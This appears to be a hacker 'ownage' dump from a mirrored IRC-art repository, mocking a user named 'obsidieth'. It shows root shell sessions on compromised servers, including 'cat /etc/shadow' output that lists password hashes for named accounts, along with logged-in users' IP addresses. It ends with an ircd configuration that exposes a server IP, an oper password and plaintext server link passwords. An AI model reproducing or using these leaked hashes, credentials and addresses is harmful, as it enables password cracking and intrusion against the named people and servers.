mirror of git://git.acid.vegas/ircart.git
13042 lines
321 KiB
Plaintext
13042 lines
321 KiB
Plaintext
Hey obsidieth!
|
||
|
||
Normally I would add some text before here, ridiculing you, but meh, I'll
|
||
let the ownage do the talking. There really is no need for me to say
|
||
anything to you.
|
||
|
||
CA.KILLBOX.INFO
|
||
|
||
sh-3.2# id
|
||
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
|
||
sh-3.2# uname -a;id
|
||
|
||
Linux alice 2.6.18-92.1.18.el5.028stab060.2ent #1 SMP Tue Jan 13 12:43:59
|
||
MSK 2009 i686 GNU/Linux
|
||
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
|
||
sh-3.2# w
|
||
|
||
14:15:41 up 41 days, 1:22, 4 users, load average: 0.27, 0.29, 0.26
|
||
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
|
||
nataraja pts/1 72.138.11.88 Fri23 7:32m 0.00s 0.00s -bash
|
||
|
||
obsidiet pts/4 60.240.120.192 12:34 1:22m 0.11s 0.10s ssh
|
||
root@ice66.
|
||
|
||
obsidiet pts/5 60.240.120.192 13:55 10:53 0.06s 0.06s ssh
|
||
obsidieth@d
|
||
|
||
obsidiet pts/6 89.40.71.19 14:14 1.00s 0.00s 0.02s sshd:
|
||
obsidieth
|
||
|
||
sh-3.2#
|
||
|
||
|
||
|
||
sh-3.2# cat /etc/shadow
|
||
|
||
root:CLT5G4uJQL386:14274:0:99999:7:::
|
||
|
||
daemon:*:14237:0:99999:7:::
|
||
|
||
bin:*:14237:0:99999:7:::
|
||
|
||
sys:*:14237:0:99999:7:::
|
||
|
||
sync:*:14237:0:99999:7:::
|
||
|
||
games:*:14237:0:99999:7:::
|
||
|
||
man:*:14237:0:99999:7:::
|
||
|
||
lp:*:14237:0:99999:7:::
|
||
|
||
mail:*:14237:0:99999:7:::
|
||
|
||
news:*:14237:0:99999:7:::
|
||
|
||
uucp:*:14237:0:99999:7:::
|
||
|
||
proxy:*:14237:0:99999:7:::
|
||
|
||
www-data:*:14237:0:99999:7:::
|
||
|
||
backup:*:14237:0:99999:7:::
|
||
|
||
list:*:14237:0:99999:7:::
|
||
|
||
irc:*:14237:0:99999:7:::
|
||
|
||
gnats:*:14237:0:99999:7:::
|
||
|
||
nobody:*:14237:0:99999:7:::
|
||
|
||
libuuid:!:14237:0:99999:7:::
|
||
|
||
sshd:*:14237:0:99999:7:::
|
||
|
||
nataraja:$1$Ptj0zS3n$eOD4LqMELBimwFha9T/R91:14274:0:99999:7:::
|
||
|
||
proftpd:!:14274:0:99999:7:::
|
||
|
||
ftp:*:14274:0:99999:7:::
|
||
|
||
obsidieth:$1$reZfdJqr$xK.pygqiR5t4.NU9R6TPo0:14283:0:99999:7:::
|
||
|
||
oident:*:14283:0:99999:7:::
|
||
|
||
hub:$1$Qg1Cbr/9$86XIPCqf8DSKA1B.yDR141:14302:0:99999:7:::
|
||
|
||
dbgi:$1$5cDOU42f$fN.TyQsRDndaRy7GEWb0o.:14304:0:99999:7:::
|
||
|
||
superuser:$1$JdRY12a4$LJSuAhR3u6wSEa6nMVe3z/:14335:0:99999:7:::
|
||
|
||
cylex:$1$Ms4.m.qu$zD4ZASt6QM0foAsjoYvQB/:14345:0:99999:7:::
|
||
|
||
UK.KILLBOX.INFO
|
||
|
||
root@ns04charlie98:~# id;uname -a
|
||
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
|
||
Linux ns04charlie98 2.6.27-7-server #1 SMP Tue Nov 4 20:18:35 UTC 2008
|
||
i686 GNU/Linux
|
||
|
||
root@ns04charlie98:~# cat /etc/shadow
|
||
|
||
root:$6$cO04xFG9$wSrhXigzjMDy86CRRHdkh2kmINJhUjAZ0vUW2xpIcpeo6RC2CRO88cPzDpzkbk6z9ikaO3i90LixIyJ5nTu071:14292:0:99999:7:::
|
||
|
||
daemon:*:14292:0:99999:7:::
|
||
|
||
bin:*:14292:0:99999:7:::
|
||
|
||
sys:*:14292:0:99999:7:::
|
||
|
||
sync:*:14292:0:99999:7:::
|
||
|
||
games:*:14292:0:99999:7:::
|
||
|
||
man:*:14292:0:99999:7:::
|
||
|
||
lp:*:14292:0:99999:7:::
|
||
|
||
mail:*:14292:0:99999:7:::
|
||
|
||
news:*:14292:0:99999:7:::
|
||
|
||
uucp:*:14292:0:99999:7:::
|
||
|
||
proxy:*:14292:0:99999:7:::
|
||
|
||
www-data:*:14292:0:99999:7:::
|
||
|
||
backup:*:14292:0:99999:7:::
|
||
|
||
list:*:14292:0:99999:7:::
|
||
|
||
irc:*:14292:0:99999:7:::
|
||
|
||
gnats:*:14292:0:99999:7:::
|
||
|
||
nobody:*:14292:0:99999:7:::
|
||
|
||
libuuid:!:14292:0:99999:7:::
|
||
|
||
syslog:*:14292:0:99999:7:::
|
||
|
||
klog:*:14292:0:99999:7:::
|
||
|
||
sshd:*:14292:0:99999:7:::
|
||
|
||
messagebus:*:14292:0:99999:7:::
|
||
|
||
landscape:*:14292:0:99999:7:::
|
||
|
||
shake:$6$uGHyOQgC$RV8cclBJG6.4vVjcE2mZMhjoDmyRDDjmjKrB3HYDduRhiUaqj19D0WAaM7xaJjLz4L.x.PqH8VQ99jRInis4e
|
||
/:14293:0:99999:7:::
|
||
|
||
obsidieth:$6$Weu4iHaZ$WbAt2zhsf19qnIo8xGPcE7oA1X9xurP6DvU3njRJghXAtNVx8HDwY8KbCY7b2vlWC.rWelRpUjwHf1SY1o0xP1:14298:0:99999:7:::
|
||
|
||
oident:*:14298:0:99999:7:::
|
||
|
||
hub:$6$wqL2J6n9$jzxVL1gtN3Pa/LrUEtOJeldP1bv2xEJoKlzlkmb.6/
|
||
VUyv2Fkxtt0w3VBSg00pfyHqKsxytoqO8L.3LX5nmqN1:14302:0:99999:7:::
|
||
|
||
cylex:$6$zFd/
|
||
2A97$7C4eIGpwY4NpxSMJABHBUiAFcryfG.IXb2qmo9gYclHWG3uDEbEVtXJ4oUynb9cpo9MMCrpFvC9edqdbZx924.:14320:0:99999:7:::
|
||
|
||
brez:$6$.PEKiyPx$RQDAbetfAyckMAzEeImUMM4Oywfm1m1AT3zmfCOh1pNGHFfixWh6P.nyh
|
||
/BfGPfTZPupLw3o4R3KMORMOBc9a1:14332:0:99999:7:::
|
||
|
||
superuser:$6$WEi4gziS$NY57Er85IOMX7MNNo.tRMiyVkrwIROHKoro3ZoyyK9T9MhXQ/
|
||
0vL1daMGBXHpG2g2RtCSHqoJKKwqEyAl3MQp1:14335:0:99999:7:::
|
||
|
||
root@ns04charlie98:~#
|
||
|
||
|
||
NITROSHELLS SHELL
|
||
|
||
┌─(orion@Core.NitroShells.com)─(11:01:35)─--
|
||
└(~)─> uname -a
|
||
FreeBSD Core.NitroShells.com 7.0-RELEASE-p11 FreeBSD 7.0-RELEASE-p11 #1:
|
||
Tue Mar 24 12:02:27 CDT 2009 root@Core.NitroShells.com:/usr/obj/usr/src
|
||
/sys/SERV2 i386
|
||
|
||
┌─(orion@Core.NitroShells.com)─(11:01:35)─--
|
||
└(~)─> id
|
||
uid=1071(orion) gid=1071(orion) groups=1071(orion),81(ssh),201(shells)
|
||
|
||
CAN I HAZ O:LINE?
|
||
|
||
/* doc/example.conf - ircd-ratbox Example configuration file
|
||
*
|
||
* Copyright (C) 2000-2002 Hybrid Development Team
|
||
* Copyright (C) 2002-2003 ircd-ratbox development team
|
||
*
|
||
* Written by ejb, wcampbel, db, leeh and others
|
||
*
|
||
* $Id: example.conf 23955 2007-05-14 17:22:36Z leeh $
|
||
*/
|
||
|
||
/* IMPORTANT NOTES:
|
||
*
|
||
* class {} blocks MUST be specified before anything that uses them. That
|
||
* means they must be defined before auth {} and before connect {}.
|
||
*
|
||
* auth {} blocks MUST be specified in order of precedence. The first one
|
||
* that matches a user will be used. So place spoofs first, then
|
||
specials,
|
||
* then general access, then restricted.
|
||
*
|
||
* Both shell style (#) and C style comments are supported.
|
||
*
|
||
* Files may be included by either:
|
||
* .include "filename"
|
||
* .include <filename>
|
||
*
|
||
* Times/durations are written as:
|
||
* 12 hours 30 minutes 1 second
|
||
*
|
||
* Valid units of time:
|
||
* month, week, day, hour, minute, second
|
||
*
|
||
* Valid units of size:
|
||
* megabyte/mbyte/mb, kilobyte/kbyte/kb, byte
|
||
*
|
||
* Sizes and times may be singular or plural.
|
||
*/
|
||
|
||
/* EFNET NOTE:
|
||
*
|
||
* This config file is NOT suitable for EFNet. EFNet admins should use
|
||
* example.efnet.conf
|
||
*/
|
||
|
||
/* serverinfo {}: Contains information about the server. (OLD M:) */
|
||
serverinfo {
|
||
/* name: the name of our server */
|
||
name = "blame.ca.syshalt.org";
|
||
|
||
/* use ts6: whether we want to use the TS6 protocol to other
|
||
servers
|
||
* or not.
|
||
*/
|
||
use_ts6 = yes;
|
||
|
||
/* sid: the unique server id of our server. This must be three
|
||
* characters long. The first character must be a digit [0-9],
|
||
the
|
||
* remaining two chars may be letters [A-Z] or digits [0-9].
|
||
*
|
||
* This must be specified even if use_ts6 is set to no.
|
||
*/
|
||
sid = "42Q";
|
||
/* description: the description of our server. '[' and ']' may not
|
||
* be used here for compatibility with older servers.
|
||
*/
|
||
description = "Blaze it up~!";
|
||
|
||
/* network info: the name and description of the network this
|
||
server
|
||
* is on. Shown in the 005 reply and used with serverhiding.
|
||
*/
|
||
network_name = "syshalt";
|
||
network_desc = "Syshalt IRC";
|
||
|
||
/* hub: allow this server to act as a hub and have multiple
|
||
servers
|
||
* connected to it.
|
||
*/
|
||
hub = no;
|
||
|
||
/* vhost: the IP to bind to when we connect outward to ipv4
|
||
servers.
|
||
* This should be an ipv4 IP only.
|
||
*/
|
||
vhost = "38.99.170.99";
|
||
|
||
/* vhost6: the IP to bind to when we connect outward to ipv6
|
||
servers.
|
||
* This should be an ipv6 IP only.
|
||
*/
|
||
#vhost6 = "3ffe:80e8:546::2";
|
||
|
||
/* default max clients: the default maximum number of clients
|
||
* allowed to connect. This can be changed once ircd has started
|
||
by
|
||
* issuing:
|
||
* /quote set maxclients <limit>
|
||
*/
|
||
default_max_clients = 10000;
|
||
};
|
||
|
||
/* admin {}: contains admin information about the server. (OLD A:) */
|
||
admin {
|
||
name = "shield";
|
||
description = "Server Administrator";
|
||
email = "<webmaster@boxlinkinc.com>";
|
||
};
|
||
|
||
/* log {}: contains information about logfiles. */
|
||
log {
|
||
/* logfiles: the logfiles to use for specific activity. if these
|
||
* paths are defined, then ircd will log to them, otherwise it
|
||
wont.
|
||
*
|
||
* The confs are, in order:
|
||
* - userlog: user exits
|
||
* - fuserlog: failed user connections
|
||
* - operlog: /oper usage
|
||
* - foperlog: failed /oper usage
|
||
* - serverlog: server connects/disconnects
|
||
* - glinelog: glines
|
||
* - klinelog: klines, etc
|
||
* - killlog: kills
|
||
* - operspylog: operspy usage
|
||
* - ioerrorlog: IO errors
|
||
*/
|
||
fname_userlog = "logs/userlog";
|
||
#fname_fuserlog = "logs/fuserlog";
|
||
fname_operlog = "logs/operlog";
|
||
#fname_foperlog = "logs/foperlog";
|
||
fname_serverlog = "logs/serverlog";
|
||
fname_glinelog = "logs/glinelog";
|
||
#fname_klinelog = "logs/klinelog";
|
||
fname_killlog = "logs/killlog";
|
||
fname_operspylog = "logs/operspylog";
|
||
#fname_ioerrorlog = "logs/ioerror";
|
||
};
|
||
|
||
/* class {}: contain information about classes for users (OLD Y:) */
|
||
class "users" {
|
||
/* class name must go above */
|
||
|
||
/* ping time: how often a client must reply to a PING from the
|
||
* server before they are dropped.
|
||
*/
|
||
ping_time = 2 minutes;
|
||
|
||
/* number per ident: the number of users per user@host networkwide
|
||
* allowed to connect. Unidented connections are classified as
|
||
* the same ident.
|
||
*/
|
||
number_per_ident = 2;
|
||
|
||
/* number per ip: the number of local users per host allowed */
|
||
number_per_ip = 3;
|
||
|
||
/* number per ip global: the number of network wide connections
|
||
* per host allowed for a user, including connections to the
|
||
* local server.
|
||
*/
|
||
number_per_ip_global = 5;
|
||
|
||
/* cidr_bitlen: Limits numbers of connections from a subnet size
|
||
* the following example makes the subnet /64 this is useful
|
||
* for IPv6 connections in particular
|
||
* Also note that the way ircd-ratbox is written if you have
|
||
* compiled support for IPv6, IPv4 cidr bitlens need to be
|
||
modified
|
||
* Basically to get the approriate length add 96 to the IPv4
|
||
length
|
||
* For example for a /24 do 96+24 = 120
|
||
*
|
||
*/
|
||
cidr_bitlen = 64;
|
||
|
||
/* number_per_cidr: Number of connections to allow from a subnet
|
||
of the
|
||
* size given in cidr_bitlen. 4 seems to be a good default to me.
|
||
*/
|
||
number_per_cidr = 4;
|
||
|
||
/* max number: the maximum number of users allowed in this class *
|
||
/
|
||
max_number = 100;
|
||
|
||
/* sendq: the amount of data allowed in a clients queue before
|
||
* they are dropped.
|
||
*/
|
||
sendq = 100 kbytes;
|
||
};
|
||
|
||
class "restricted" {
|
||
ping_time = 1 minute 30 seconds;
|
||
number_per_ip = 1;
|
||
max_number = 100;
|
||
sendq = 60kb;
|
||
};
|
||
|
||
class "opers" {
|
||
ping_time = 5 minutes;
|
||
number_per_ip = 10;
|
||
max_number = 100;
|
||
sendq = 100kbytes;
|
||
};
|
||
|
||
class "server" {
|
||
ping_time = 5 minutes;
|
||
|
||
/* connectfreq: only used in server classes. specifies the delay
|
||
* between autoconnecting to servers.
|
||
*/
|
||
connectfreq = 5 minutes;
|
||
|
||
/* max number: the amount of servers to autoconnect to */
|
||
max_number = 1;
|
||
|
||
/* sendq: servers need a higher sendq as they send more data */
|
||
sendq=2 megabytes;
|
||
};
|
||
|
||
/* listen {}: contain information about the ports ircd listens on (OLD P:)
|
||
*/
|
||
listen {
|
||
/* port: the specific port to listen on. if no host is specified
|
||
* before, it will listen on all available IPs.
|
||
*
|
||
* ports are seperated via a comma, a range may be specified using
|
||
".."
|
||
*/
|
||
|
||
/* port: listen on all available IPs, ports 5000 and 6665 to 6669
|
||
*/
|
||
port = 5000, 6665 .. 6669;
|
||
port = 9812;
|
||
/* host: set a specific IP/host the ports after the line will
|
||
listen
|
||
* on. This may be ipv4 or ipv6.
|
||
*/
|
||
host = "38.99.170.99";
|
||
port = 7000, 6667, 6668;
|
||
|
||
};
|
||
|
||
|
||
auth {
|
||
user = "*@*";
|
||
class = "users";
|
||
};
|
||
|
||
/* operator {}: defines ircd operators. (OLD O:)
|
||
* ircd-ratbox no longer supports local operators, privileges are
|
||
* controlled via flags.
|
||
*/
|
||
operator "shield" {
|
||
/* name: the name of the oper must go above */
|
||
|
||
/* user: the user@host required for this operator. CIDR *is*
|
||
* supported now.
|
||
* multiple user="" lines are supported.
|
||
*/
|
||
user = "shield@*";
|
||
|
||
/* password: the password required to oper. Unless ~encrypted is
|
||
* contained in flags = ...; this will need to be encrypted using
|
||
* mkpasswd, MD5 is supported
|
||
*/
|
||
password = "nickname;
|
||
|
||
/* rsa key: the public key for this oper when using Challenge.
|
||
* A password should not be defined when this is used, see
|
||
* doc/challenge.txt for more information.
|
||
*/
|
||
#rsa_public_key_file = "/usr/local/ircd/etc/oper.pub";
|
||
|
||
/* umodes: the specific umodes this oper gets when they oper.
|
||
* If this is specified an oper will not be given oper_umodes
|
||
* These are described above oper_only_umodes in general {};
|
||
*/
|
||
#umodes = locops, servnotice, operwall, wallop;
|
||
|
||
/* privileges: controls the activities and commands an oper is
|
||
* allowed to do on the server. You may prefix an option with ~
|
||
to
|
||
* disable it, ie ~operwall
|
||
*
|
||
* Default flags are operwall, remoteban and encrypted.
|
||
*
|
||
* Available options:
|
||
*
|
||
* encrypted: the password specified above is encrypted
|
||
[DEFAULT]
|
||
* local_kill: allows local users to be /KILL'd
|
||
* global_kill: allows local and remote users to be
|
||
* /KILL'd (OLD 'O' flag)
|
||
* remote: allows remote SQUIT and CONNECT (OLD 'R' flag)
|
||
* kline: allows KILL, KLINE and DLINE (OLD 'K' flag)
|
||
* unkline: allows UNKLINE and UNDLINE (OLD 'U' flag)
|
||
* gline: allows GLINE (OLD 'G' flag)
|
||
* nick_changes: allows oper to see nickchanges (OLD 'N' flag)
|
||
* via usermode +n
|
||
* rehash: allows oper to REHASH config (OLD 'H' flag)
|
||
* die: allows DIE and RESTART (OLD 'D' flag)
|
||
* admin: gives admin privileges. admins
|
||
* may (un)load modules and see the
|
||
* real IPs of servers.
|
||
* hidden_admin: gives admin privileges except
|
||
* will not have the admin lines in
|
||
* stats p and whois.
|
||
* xline: allows use of /quote xline/unxline
|
||
* operwall: allows the oper to send operwalls [DEFAULT]
|
||
* oper_spy: allows 'operspy' features to see through +s
|
||
* channels etc. see /quote help operspy
|
||
* hidden_oper: hides the oper from /stats p (OLD UMODE +p)
|
||
* remoteban: allows remote kline etc [DEFAULT]
|
||
*/
|
||
flags = global_kill, remote, kline, unkline, gline,
|
||
die, rehash, admin, xline, operwall;
|
||
};
|
||
|
||
/* connect {}: controls servers we connect to (OLD C:, N:, H:, L:) */
|
||
connect "rolled.va.syshalt.org" {
|
||
host = "98.185.24.167";
|
||
#vhost = "192.168.0.50";
|
||
send_password = "b0xlinK420";
|
||
accept_password = "linKb0x420";
|
||
port = 9812;
|
||
hub_mask = "*";
|
||
#leaf_mask = "*.uk";
|
||
class = "server";
|
||
|
||
flags = compressed, topicburst, autoconn;
|
||
};
|
||
|
||
|
||
/* cluster {}; servers that we propagate things to automatically.
|
||
* NOTE: This does NOT grant them privileges to apply anything locally,
|
||
* you must add a seperate shared block for that. Clustering will
|
||
* only be done for actions by LOCAL opers, that arent directed
|
||
* remotely.
|
||
*/
|
||
cluster {
|
||
/* name: the server to share with, this can be a wildcard and may
|
||
be
|
||
* stacked.
|
||
*/
|
||
/* flags: list of what to share, all the name lines above this (up
|
||
* until another flags entry) will receive these flags.
|
||
*
|
||
* kline - share perm klines
|
||
* tkline - share temp klines
|
||
* unkline - share unklines
|
||
* locops - share locops
|
||
* xline - share perm xlines
|
||
* txline - share temp xlines
|
||
* unxline - share unxlines
|
||
* resv - share perm resvs
|
||
* tresv - share temp resvs
|
||
* unresv - share unresvs
|
||
* all - share all of the above
|
||
*/
|
||
|
||
/* share klines/unklines/xlines with *.lan */
|
||
name = "*.lan";
|
||
flags = kline, unkline, xline;
|
||
|
||
};
|
||
|
||
/* If you are using the ratbox-services compatibility code, uncomment
|
||
this. */
|
||
/* service{}: privileged servers (services). These servers have extra
|
||
* privileges such as setting login names on users and introducing clients
|
||
* with umode +S (unkickable). This does not allow them to set bans, you
|
||
* need a separate shared{} for that.
|
||
* Do not place normal servers here.
|
||
* There may be only one service{} block.
|
||
*/
|
||
#service {
|
||
# /* name: the server name. These may be stacked. */
|
||
# name = "ratbox.services";
|
||
#};
|
||
|
||
/* shared {}: users that are allowed to place remote bans on our server.
|
||
* NOTE: These are ordered top down. The first one the user@host and
|
||
server
|
||
* matches will be used. Their access will then be decided on that
|
||
* block and will not fall back to another block that matches.
|
||
*/
|
||
/* The channel block contains options pertaining to channels */
|
||
channel {
|
||
/* invex: Enable/disable channel mode +I, a n!u@h list of masks
|
||
* that can join a +i channel without an invite.
|
||
*/
|
||
use_invex = yes;
|
||
|
||
/* except: Enable/disable channel mode +e, a n!u@h list of masks
|
||
* that can join a channel through a ban (+b).
|
||
*/
|
||
use_except = yes;
|
||
|
||
/* knock: Allows users to request an invite to a channel that
|
||
* is locked somehow (+ikl). If the channel is +p or you are
|
||
banned
|
||
* the knock will not be sent.
|
||
*/
|
||
use_knock = yes;
|
||
|
||
/* invite ops only: Restrict /invite to ops on channels, rather
|
||
than
|
||
* allowing unopped users to invite people to a -i channel.
|
||
*/
|
||
invite_ops_only = yes;
|
||
|
||
/* knock delay: The amount of time a user must wait between
|
||
issuing
|
||
* the knock command.
|
||
*/
|
||
knock_delay = 5 minutes;
|
||
|
||
/* knock channel delay: How often a knock to any specific channel
|
||
* is permitted, regardless of the user sending the knock.
|
||
*/
|
||
knock_delay_channel = 1 minute;
|
||
|
||
/* max chans: The maximum number of channels a user can join/be
|
||
on. */
|
||
max_chans_per_user = 15;
|
||
|
||
/* quiet on ban: stop banned people talking in channels. */
|
||
quiet_on_ban = yes;
|
||
|
||
/* max bans: maximum number of +b/e/I modes in a channel */
|
||
max_bans = 25;
|
||
|
||
/* splitcode: split users, split servers and either no join on
|
||
split
|
||
* or no create on split must be enabled for split checking.
|
||
* splitmode will be entered on either split users or split
|
||
servers
|
||
* dropping below the limit.
|
||
*
|
||
* you may force splitmode to be permanent by /quote set splitmode
|
||
on
|
||
*/
|
||
|
||
/* split users: when the usercount is lower than this level,
|
||
consider
|
||
* ourselves split. this must be set for automatic splitmode
|
||
*/
|
||
default_split_user_count = 0;
|
||
|
||
/* split servers: when the amount of servers that have
|
||
acknowledged
|
||
* theyve finished bursting is lower than this, consider ourselves
|
||
* split. this must be set for automatic splitmode
|
||
*/
|
||
default_split_server_count = 0;
|
||
|
||
/* split: no create: disallow users creating channels on split */
|
||
no_create_on_split = no;
|
||
|
||
/* split: no join: disallow users joining channels at all on a
|
||
split */
|
||
no_join_on_split = no;
|
||
|
||
/* burst topicwho: when bursting topics, also burst the topic
|
||
setter */
|
||
burst_topicwho = yes;
|
||
};
|
||
|
||
|
||
/* The serverhide block contains the options regarding serverhiding */
|
||
serverhide {
|
||
/* flatten links: this option will show all servers in /links
|
||
appear
|
||
* that they are linked to this current server
|
||
*/
|
||
flatten_links = no;
|
||
|
||
/* links delay: how often to update the links file when it is
|
||
* flattened.
|
||
*/
|
||
links_delay = 5 minutes;
|
||
|
||
/* hidden: hide this server from a /links output on servers that
|
||
* support it. this allows hub servers to be hidden etc.
|
||
*/
|
||
hidden = no;
|
||
|
||
/* disable hidden: prevent servers hiding themselves from a
|
||
* /links ouput.
|
||
*/
|
||
disable_hidden = no;
|
||
};
|
||
|
||
/* The general block contains many of the options that were once compiled
|
||
* in options in config.h. The general block is read at start time.
|
||
*/
|
||
general {
|
||
/* hide error messages: defines whether error messages from
|
||
* servers are hidden or not. These can sometimes contain IPs and
|
||
* can have an adverse effect on server ip hiding. Set to:
|
||
* yes: hide from opers and admin
|
||
* opers: hide from opers only
|
||
* no: do not hide error messages
|
||
*/
|
||
hide_error_messages = opers;
|
||
|
||
/* hide spoof ips: hide the real ips of spoofed users */
|
||
hide_spoof_ips = yes;
|
||
|
||
/* default invisible: set clients +i on connect */
|
||
default_invisible = no;
|
||
|
||
/* default operstring: defines the default oper response
|
||
* in /whois queries, eg "is an IRC Operator"
|
||
*/
|
||
default_operstring = "is an IRC Operator";
|
||
|
||
/* default adminstring: defines the default admin response
|
||
* in /whois queries, eg "is a Server Administrator"
|
||
*/
|
||
default_adminstring = "is a Server Administrator";
|
||
/* tkline_expire_notices: give a notice to opers when a tkline
|
||
* expires
|
||
*/
|
||
tkline_expire_notices = no;
|
||
|
||
/* floodcount: the default value of floodcount that is
|
||
configurable
|
||
* via /quote set floodcount. This is the amount of lines a user
|
||
* may send to any other user/channel in one second.
|
||
*/
|
||
default_floodcount = 10;
|
||
|
||
/* disable fake channels: disable local users joining fake
|
||
versions
|
||
* of channels, eg #foo^B^B. Disables bold, mirc colour, reverse,
|
||
* underline and hard space. (ASCII 2, 3, 22, 31, 160
|
||
respectively).
|
||
*/
|
||
disable_fake_channels = no;
|
||
|
||
/* failed oper notice: send a notice to all opers on the server
|
||
when
|
||
* someone tries to OPER and uses the wrong password, host or
|
||
ident.
|
||
*/
|
||
failed_oper_notice = yes;
|
||
|
||
/* dots in ident: the amount of '.' characters permitted in an
|
||
ident
|
||
* reply before the user is rejected.
|
||
*/
|
||
dots_in_ident=2;
|
||
|
||
/* dot in ipv6: ircd-hybrid-6.0 and earlier will disallow hosts
|
||
* without a '.' in them. this will add one to the end. only
|
||
needed
|
||
* for older servers.
|
||
*/
|
||
dot_in_ip6_addr = no;
|
||
|
||
/* min nonwildcard: the minimum non wildcard characters in k/d/g
|
||
lines
|
||
* placed via the server. klines hand placed are exempt from
|
||
limits.
|
||
* wildcard chars: '.' '*' '?' '@'
|
||
*/
|
||
min_nonwildcard = 4;
|
||
|
||
/* min nonwildcard simple: the minimum non wildcard characters in
|
||
* xlines/resvs placed via the server.
|
||
* wildcard chars: '*' '?'
|
||
*/
|
||
min_nonwildcard_simple = 3;
|
||
|
||
/* max accept: maximum allowed /accept's for +g usermode */
|
||
max_accept = 20;
|
||
|
||
/* max monitor: the maximum amount of nicknames a client may have
|
||
in
|
||
* their monitor (server-side notify) list.
|
||
*/
|
||
max_monitor = 100;
|
||
|
||
/* nick flood: enable the nickflood control code */
|
||
anti_nick_flood = yes;
|
||
|
||
/* nick flood: the nick changes allowed in the specified period */
|
||
max_nick_time = 20 seconds;
|
||
max_nick_changes = 5;
|
||
|
||
/* anti spam time: the minimum time a user must be connected
|
||
before
|
||
* custom quit messages are allowed.
|
||
*/
|
||
anti_spam_exit_message_time = 5 minutes;
|
||
|
||
/* ts delta: the time delta allowed between server clocks before
|
||
* a warning is given, or before the link is dropped. all servers
|
||
* should run ntpdate/rdate to keep clocks in sync
|
||
*/
|
||
ts_warn_delta = 30 seconds;
|
||
ts_max_delta = 5 minutes;
|
||
|
||
/* client exit: prepend a users quit message with "Client exit: "
|
||
*/
|
||
client_exit = yes;
|
||
|
||
/* dline reason: show the user the dline reason when they connect
|
||
* and are dlined.
|
||
*/
|
||
dline_with_reason = yes;
|
||
|
||
/* kline delay: delay the checking of klines until a specified
|
||
time.
|
||
* Useful if large kline lists are applied often to prevent the
|
||
* server eating CPU.
|
||
*/
|
||
kline_delay = 0 seconds;
|
||
|
||
/* kline reason: show the user the reason why they are k/d/glined
|
||
* on exit. may give away who set k/dline when set via tcm.
|
||
*/
|
||
kline_with_reason = yes;
|
||
|
||
/* kline reason: make the users quit message on channels this
|
||
* reason instead of the oper's reason.
|
||
*/
|
||
kline_reason = "Connection closed";
|
||
|
||
/* non redundant klines: flag and ignore redundant klines */
|
||
non_redundant_klines = yes;
|
||
|
||
/* warn no nline: warn opers about servers that try to connect but
|
||
* we dont have a connect {} block for. Twits with misconfigured
|
||
* servers can get really annoying with this enabled.
|
||
*/
|
||
warn_no_nline = yes;
|
||
|
||
/* stats e disabled: disable stats e. useful if server ips are
|
||
* exempted and you dont want them listing on irc.
|
||
*/
|
||
stats_e_disabled = no;
|
||
|
||
/* stats c oper only: make stats c (connect {}) oper only */
|
||
stats_c_oper_only=no;
|
||
|
||
/* stats h oper only: make stats h (hub_mask/leaf_mask) oper only
|
||
*/
|
||
stats_h_oper_only=no;
|
||
|
||
/* stats y oper only: make stats y (class {}) oper only */
|
||
stats_y_oper_only=no;
|
||
|
||
/* stats o oper only: make stats o (opers) oper only */
|
||
stats_o_oper_only=yes;
|
||
|
||
/* stats P oper only: make stats P (ports) oper only
|
||
* NOTE: users doing stats P will never be given the ips that the
|
||
* server listens on, simply the ports.
|
||
*/
|
||
stats_P_oper_only=no;
|
||
|
||
/* stats i oper only: make stats i (auth {}) oper only. set to:
|
||
* yes: show users no auth blocks, made oper only.
|
||
* masked: show users first matching auth block
|
||
* no: show users all auth blocks.
|
||
*/
|
||
stats_i_oper_only=masked;
|
||
|
||
/* stats k/K oper only: make stats k/K (klines) oper only. set
|
||
to:
|
||
* yes: show users no auth blocks, made oper only
|
||
* masked: show users first matching auth block
|
||
* no: show users all auth blocks.
|
||
*/
|
||
stats_k_oper_only=masked;
|
||
|
||
/* map oper only: make /map oper only */
|
||
map_oper_only = no;
|
||
|
||
/* operspy admin only: make operspy notices to +Z admin only */
|
||
operspy_admin_only = no;
|
||
|
||
/* caller id wait: time between notifying a +g user that somebody
|
||
* is messaging them.
|
||
*/
|
||
caller_id_wait = 1 minute;
|
||
|
||
/* pace wait simple: time between use of less intensive commands
|
||
* (HELP, remote WHOIS, WHOWAS)
|
||
*/
|
||
pace_wait_simple = 1 second;
|
||
|
||
/* pace wait: time between more intensive commands
|
||
* (ADMIN, INFO, LIST, LUSERS, MOTD, STATS, VERSION)
|
||
*/
|
||
pace_wait = 10 seconds;
|
||
|
||
/* short motd: send clients a notice telling them to read the motd
|
||
* instead of forcing a motd to clients who may simply ignore it.
|
||
*/
|
||
short_motd = no;
|
||
|
||
/* ping cookies: require clients to respond exactly to a ping
|
||
command,
|
||
* can help block certain types of drones and FTP PASV mode
|
||
spoofing.
|
||
*/
|
||
ping_cookie = no;
|
||
|
||
/* connect timeout: sets how long we should wait for a connection
|
||
* request to succeed
|
||
*/
|
||
connect_timeout = 30 seconds;
|
||
|
||
/* disable auth: disables identd checking */
|
||
disable_auth = no;
|
||
|
||
/* no oper flood: increase flood limits for opers. */
|
||
no_oper_flood = yes;
|
||
|
||
/* glines: enable glines, network wide temp klines */
|
||
glines = yes;
|
||
|
||
/* gline time: the amount of time a gline will remain before
|
||
expiring */
|
||
gline_time = 1 day;
|
||
|
||
/* gline_min_cidr: If using a CIDR gline, the minimum length the
|
||
* mask must be
|
||
*/
|
||
gline_min_cidr = 16;
|
||
|
||
/* idletime: the maximum amount of time a user may idle before
|
||
* they are disconnected
|
||
*/
|
||
idletime = 0;
|
||
|
||
/* REMOVE ME. The following line checks you've been reading. */
|
||
|
||
/* max targets: the maximum amount of targets in a single
|
||
* PRIVMSG/NOTICE. set to 999 NOT 0 for unlimited.
|
||
*/
|
||
max_targets = 4;
|
||
|
||
/* client flood: maximum number of lines in a clients queue before
|
||
* they are dropped for flooding.
|
||
*/
|
||
client_flood = 20;
|
||
|
||
/* use_whois_actually: send clients requesting a whois a numeric
|
||
* giving the real IP of non-spoofed clients to prevent DNS abuse.
|
||
*/
|
||
use_whois_actually = yes;
|
||
|
||
/* usermodes configurable: a list of usermodes for the options
|
||
below
|
||
*
|
||
* +b - bots - See bot and drone flooding notices
|
||
* +c - cconn - Client connection/quit notices
|
||
* +C - cconnext - Extended client connection/quit notices
|
||
